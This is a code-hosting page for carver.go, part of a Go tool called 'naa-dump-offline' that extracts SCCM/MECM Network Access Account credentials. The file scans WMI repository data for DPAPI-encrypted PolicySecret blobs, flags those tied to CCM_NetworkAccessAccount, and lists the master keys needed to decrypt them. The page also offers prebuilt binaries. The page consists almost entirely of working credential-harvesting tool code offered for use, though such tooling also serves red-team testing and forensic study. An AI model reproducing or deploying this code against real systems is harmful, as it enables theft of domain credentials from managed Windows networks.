● Notice //GitHub (@shehzade) is temporarily suspended pending an automated false-positive review. All tools are hosted on this Code Mirror and available on request (contact); GitHub links will return once reinstated.

Offline extractor and decryptor for SCCM/MECM Network Access Account (NAA) credentials and policy secrets from dead-disk WMI repositories and DPAPI master keys.

$ git clone https://shehzade.io/repos/naa-dump-offline.git Copy
Source ZIP (290.0 KB) Prebuilt Binaries
Code 15 Commits 3 Releases 5
naa-dump-offline / pkg / wmi / carver.go
← Back to directory
164 lines · 3.7 KB
Raw
1package wmi
2
3import (
4 "bytes"
5 "encoding/hex"
6 "fmt"
7 "os"
8 "regexp"
9 "sort"
10 "strings"
11
12 "github.com/shehzade/naa-dump-offline/pkg/dpapi"
13)
14
15type CarverResult struct {
16 TotalBlobs int
17 UniqueBlobs []*CarvedSecret
18 RequiredGUIDs []string
19 GUIDCounts map[string]int
20}
21
22var (
23 policySecretRe = regexp.MustCompile(`(?s)<PolicySecret[^>]*><!\[CDATA\[([0-9A-Fa-f]{100,})\]\]></PolicySecret>`)
24)
25
26func ScanObjectsData(objectsDataPath string) (*CarverResult, error) {
27 data, err := os.ReadFile(objectsDataPath)
28 if err != nil {
29 return nil, fmt.Errorf("failed to read OBJECTS.DATA: %w", err)
30 }
31
32 result := &CarverResult{
33 GUIDCounts: make(map[string]int),
34 }
35
36 seenHex := make(map[string]*CarvedSecret)
37
38 matches := policySecretRe.FindAllSubmatchIndex(data, -1)
39 result.TotalBlobs = len(matches)
40
41 for i, loc := range matches {
42 matchStart := loc[0]
43 matchEnd := loc[1]
44 subStart := loc[2]
45 subEnd := loc[3]
46
47 hexPayload := string(data[subStart:subEnd])
48
49 ctxStart := matchStart - 200
50 if ctxStart < 0 {
51 ctxStart = 0
52 }
53 prefixChunk := string(data[ctxStart:matchStart])
54 context := "PolicySecret"
55 if strings.Contains(prefixChunk, "CCM_NetworkAccessAccount") {
56 context = "CCM_NetworkAccessAccount"
57 } else if strings.Contains(prefixChunk, "CCM_Policy_Action") {
58 context = "CCM_Policy_Action"
59 } else if strings.Contains(prefixChunk, "CCM_Policy_Policy5") {
60 context = "CCM_Policy_Policy5"
61 }
62
63 rawBytes, err := hex.DecodeString(hexPayload)
64 if err != nil || len(rawBytes) < 44 {
65 continue
66 }
67
68 blobBytes := rawBytes
69 if len(rawBytes) > 4 {
70 blobBytes = rawBytes[4:]
71 }
72
73 blob, err := dpapi.ParseDPAPIBlob(blobBytes)
74 if err != nil {
75 blob, err = dpapi.ParseDPAPIBlob(rawBytes)
76 if err != nil {
77 continue
78 }
79 }
80
81 guid := blob.GuidMasterKey
82 if guid != "" {
83 result.GUIDCounts[guid]++
84 }
85
86 if existing, ok := seenHex[hexPayload]; ok {
87 if existing.Context == "PolicySecret" && context != "PolicySecret" {
88 existing.Context = context
89 }
90 continue
91 }
92
93 secret := &CarvedSecret{
94 Index: i + 1,
95 Offset: int64(matchStart),
96 MasterKeyGUID: guid,
97 Context: context,
98 RawHex: hexPayload,
99 }
100
101 seenHex[hexPayload] = secret
102 result.UniqueBlobs = append(result.UniqueBlobs, secret)
103 _ = matchEnd
104 }
105
106 naaIdx := 0
107 for {
108 idx := bytes.Index(data[naaIdx:], []byte("CCM_NetworkAccessAccount"))
109 if idx == -1 {
110 break
111 }
112 actualIdx := naaIdx + idx
113 windowEnd := actualIdx + 2000
114 if windowEnd > len(data) {
115 windowEnd = len(data)
116 }
117 window := data[actualIdx:windowEnd]
118
119 subMatches := cdataRegex.FindAllSubmatchIndex(window, -1)
120 for _, sm := range subMatches {
121 h := string(window[sm[2]:sm[3]])
122 if _, ok := seenHex[h]; !ok {
123 rawBytes, err := hex.DecodeString(h)
124 if err != nil || len(rawBytes) < 44 {
125 continue
126 }
127 blobBytes := rawBytes
128 if len(rawBytes) > 4 {
129 blobBytes = rawBytes[4:]
130 }
131 blob, err := dpapi.ParseDPAPIBlob(blobBytes)
132 if err != nil {
133 blob, err = dpapi.ParseDPAPIBlob(rawBytes)
134 if err != nil {
135 continue
136 }
137 }
138 guid := blob.GuidMasterKey
139 if guid != "" {
140 result.GUIDCounts[guid]++
141 }
142 secret := &CarvedSecret{
143 Index: len(result.UniqueBlobs) + 1,
144 Offset: int64(actualIdx + sm[0]),
145 MasterKeyGUID: guid,
146 Context: "CCM_NetworkAccessAccount",
147 RawHex: h,
148 }
149 seenHex[h] = secret
150 result.UniqueBlobs = append(result.UniqueBlobs, secret)
151 result.TotalBlobs++
152 }
153 }
154
155 naaIdx = actualIdx + len("CCM_NetworkAccessAccount")
156 }
157
158 for guid := range result.GUIDCounts {
159 result.RequiredGUIDs = append(result.RequiredGUIDs, guid)
160 }
161 sort.Strings(result.RequiredGUIDs)
162
163 return result, nil
164}